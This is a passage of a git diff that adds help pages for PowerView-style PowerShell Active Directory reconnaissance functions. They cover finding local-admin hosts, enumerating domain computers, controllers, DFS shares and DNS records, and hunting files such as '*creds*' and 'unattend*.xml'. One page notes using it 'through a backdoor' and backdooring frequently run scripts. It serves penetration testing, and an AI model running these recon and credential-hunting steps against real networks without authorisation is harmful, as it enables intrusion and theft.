'*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config') +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LastAccessTime +Only return files with a LastAccessTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LastWriteTime +Only return files with a LastWriteTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CreationTime +Only return files with a CreationTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OfficeDocs +Switch. +Search for office documents (*.doc*, *.xls*, *.ppt*) + +```yaml +Type: SwitchParameter +Parameter Sets: OfficeDocs +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FreshEXEs +Switch. +Find .EXEs accessed within the last 7 days. + +```yaml +Type: SwitchParameter +Parameter Sets: FreshEXEs +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludeFolders +Switch. +Exclude folders from the search results. + +```yaml +Type: SwitchParameter +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludeHidden +Switch. +Exclude hidden files and folders from the search results. + +```yaml +Type: SwitchParameter +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CheckWriteAccess +Switch. +Only returns files the current user has write access to. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +to connect to remote systems for file enumeration. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.FoundFile + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-LocalAdminAccess.md b/docs/Recon/Find-LocalAdminAccess.md new file mode 100755 index 00000000..f3e3b6f3 --- /dev/null +++ b/docs/Recon/Find-LocalAdminAccess.md @@ -0,0 +1,337 @@ +# Find-LocalAdminAccess + +## SYNOPSIS +Finds machines on the local domain where the current user has local administrator access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction + +## SYNTAX + +``` +Find-LocalAdminAccess [[-ComputerName] ] [-ComputerDomain ] [-ComputerLDAPFilter ] + [-ComputerSearchBase ] [-ComputerOperatingSystem ] [-ComputerServicePack ] + [-ComputerSiteName ] [-CheckShareAccess] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-Delay ] [-Jitter ] [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and for each computer it checks if the current user +has local administrator access using Test-AdminAccess. +If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. + +Idea adapted from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" \' + 'Thomas McCarthy "smilingraccoon" \' + 'Royce Davis "r3dy" \' + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-LocalAdminAccess +``` + +Finds machines in the current domain the current user has admin access to. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-LocalAdminAccess -Domain dev.testlab.local +``` + +Finds machines in the dev.testlab.local domain the current user has admin access to. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-LocalAdminAccess -Domain testlab.local -Credential $Cred + +Finds machines in the testlab.local domain that the user with the specified -Credential +has admin access to. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CheckShareAccess +Switch. +Only display found shares that the local user has access to. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### String + +Computer dnshostnames the current user has administrative access to. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-ComputerDetails.md b/docs/Recon/Get-ComputerDetails.md new file mode 100755 index 00000000..6bc3e91d --- /dev/null +++ b/docs/Recon/Get-ComputerDetails.md @@ -0,0 +1,68 @@ +# Get-ComputerDetails + +## SYNOPSIS +This script is used to get useful information from a computer. + +Function: Get-ComputerDetails +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Get-ComputerDetails [-ToString] +``` + +## DESCRIPTION +This script is used to get useful information from a computer. +Currently, the script gets the following information: +-Explicit Credential Logons (Event ID 4648) +-Logon events (Event ID 4624) +-AppLocker logs to find what processes are created +-PowerShell logs to find PowerShell scripts which have been executed +-RDP Client Saved Servers, which indicates what servers the user typically RDP's in to + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ComputerDetails +``` + +Gets information about the computer and outputs it as PowerShell objects. + +Get-ComputerDetails -ToString +Gets information about the computer and outputs it as raw text. + +## PARAMETERS + +### -ToString +Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. +You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files. + +## RELATED LINKS + +[Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell](Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell) + diff --git a/docs/Recon/Get-Domain.md b/docs/Recon/Get-Domain.md new file mode 100755 index 00000000..aa8098ce --- /dev/null +++ b/docs/Recon/Get-Domain.md @@ -0,0 +1,81 @@ +# Get-Domain + +## SYNOPSIS +Returns the domain object for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-Domain [[-Domain] ] [-Credential ] +``` + +## DESCRIPTION +Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current +domain or the domain specified with -Domain X. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-Domain -Domain testlab.local +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Domain -Credential $Cred + +## PARAMETERS + +### -Domain +Specifies the domain name to query for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.DirectoryServices.ActiveDirectory.Domain + +A complex .NET domain object. + +## NOTES + +## RELATED LINKS + +[http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG](http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG) + diff --git a/docs/Recon/Get-DomainComputer.md b/docs/Recon/Get-DomainComputer.md new file mode 100755 index 00000000..562f7698 --- /dev/null +++ b/docs/Recon/Get-DomainComputer.md @@ -0,0 +1,426 @@ +# Get-DomainComputer + +## SYNOPSIS +Return all computers or specific computer objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainComputer [[-Identity] ] [-Unconstrained] [-TrustedToAuth] [-Printers] [-SPN ] + [-OperatingSystem ] [-ServicePack ] [-SiteName ] [-Ping] [-Domain ] + [-LDAPFilter ] [-Properties ] [-SearchBase ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] + [-Tombstone] [-FindOne] [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties samaccountname,usnchanged,...". +By default, all computer objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainComputer +``` + +Returns the current computers in current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainComputer -SPN mssql* -Domain testlab.local +``` + +Returns all MS SQL servers in the testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained +``` + +Search the specified OU for computeres that allow unconstrained delegation. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainComputer -Credential $Cred + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +WINDOWS10$), DistinguishedName (e.g. +CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. +4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. +windows10.testlab.local). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: SamAccountName, Name, DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Unconstrained +Switch. +Return computer objects that have unconstrained delegation. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -TrustedToAuth +Switch. +Return computer objects that are trusted to authenticate for other principals. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Printers +Switch. +Return only printers. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SPN +Return computers with a specific service principal name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePrincipalName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OperatingSystem +Return computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServicePack +Return computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SiteName +Return computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Ping +Switch. +Ping each host to ensure it's up before enumerating. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.Computer + +Custom PSObject with translated computer property fields. + +PowerView.Computer.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainController.md b/docs/Recon/Get-DomainController.md new file mode 100755 index 00000000..3d15f5c4 --- /dev/null +++ b/docs/Recon/Get-DomainController.md @@ -0,0 +1,132 @@ +# Get-DomainController + +## SYNOPSIS +Return the domain controllers for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-Domain + +## SYNTAX + +``` +Get-DomainController [[-Domain] ] [-Server ] [-LDAP] [-Credential ] +``` + +## DESCRIPTION +Enumerates the domain controllers for the current or specified domain. +By default built in .NET methods are used. +The -LDAP switch uses Get-DomainComputer +to search for domain controllers. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainController -Domain 'test.local' +``` + +Determine the domain controllers for 'test.local'. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainController -Domain 'test.local' -LDAP +``` + +Determine the domain controllers for 'test.local' using LDAP queries. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +'test.local' | Get-DomainController +``` + +Determine the domain controllers for 'test.local'. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainController -Credential $Cred + +## PARAMETERS + +### -Domain +The domain to query for domain controllers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAP +Switch. +Use LDAP queries to determine the domain controllers instead of built in .NET methods. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.Computer + +Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified. + +System.DirectoryServices.ActiveDirectory.DomainController + +If -LDAP isn't specified. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainDFSShare.md b/docs/Recon/Get-DomainDFSShare.md new file mode 100755 index 00000000..ce332754 --- /dev/null +++ b/docs/Recon/Get-DomainDFSShare.md @@ -0,0 +1,202 @@ +# Get-DomainDFSShare + +## SYNOPSIS +Returns a list of all fault-tolerant distributed file systems +for the current (or specified) domain. + +Author: Ben Campbell (@meatballs__) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +## SYNTAX + +``` +Get-DomainDFSShare [[-Domain] ] [[-SearchBase] ] [[-Server] ] + [[-SearchScope] ] [[-ResultPageSize] ] [[-ServerTimeLimit] ] [-Tombstone] + [[-Credential] ] [[-Version] ] +``` + +## DESCRIPTION +This function searches for all distributed file systems (either version +1, 2, or both depending on -Version X) by searching for domain objects +matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively +The server data is parsed appropriately and returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainDFSShare +``` + +Returns all distributed file system shares for the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainDFSShare -Domain testlab.local +``` + +Returns all distributed file system shares for the 'testlab.local' domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainDFSShare -Credential $Cred + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DomainName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 7 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Version +{{Fill Version Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 8 +Default value: All +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.Management.Automation.PSCustomObject + +A custom PSObject describing the distributed file systems. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainDNSRecord.md b/docs/Recon/Get-DomainDNSRecord.md new file mode 100755 index 00000000..e444fd5a --- /dev/null +++ b/docs/Recon/Get-DomainDNSRecord.md @@ -0,0 +1,181 @@ +# Get-DomainDNSRecord + +## SYNOPSIS +Enumerates the Active Directory DNS records for a given zone. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord + +## SYNTAX + +``` +Get-DomainDNSRecord [-ZoneName] [-Domain ] [-Server ] [-Properties ] + [-ResultPageSize ] [-ServerTimeLimit ] [-FindOne] [-Credential ] +``` + +## DESCRIPTION +Given a specific Active Directory DNS zone name, query for all 'dnsNode' +LDAP entries using that zone as the search base. +Return all DNS entry results +and use Convert-DNSRecord to try to convert the binary DNS record blobs. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainDNSRecord -ZoneName testlab.local +``` + +Retrieve all records for the testlab.local zone. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainDNSZone | Get-DomainDNSRecord +``` + +Retrieve all records for all zones in the current domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local +``` + +Retrieve all records for all zones in the dev.testlab.local domain. + +## PARAMETERS + +### -ZoneName +Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +The domain to query for zones, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to for the search. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Name,distinguishedname,dnsrecord,whencreated,whenchanged +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.DNSRecord + +Outputs custom PSObjects with detailed information about the DNS record entry. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainDNSZone.md b/docs/Recon/Get-DomainDNSZone.md new file mode 100755 index 00000000..7065b261 --- /dev/null +++ b/docs/Recon/Get-DomainDNSZone.md @@ -0,0 +1,156 @@ +# Get-DomainDNSZone + +## SYNOPSIS +Enumerates the Active Directory DNS zones for a given domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +## 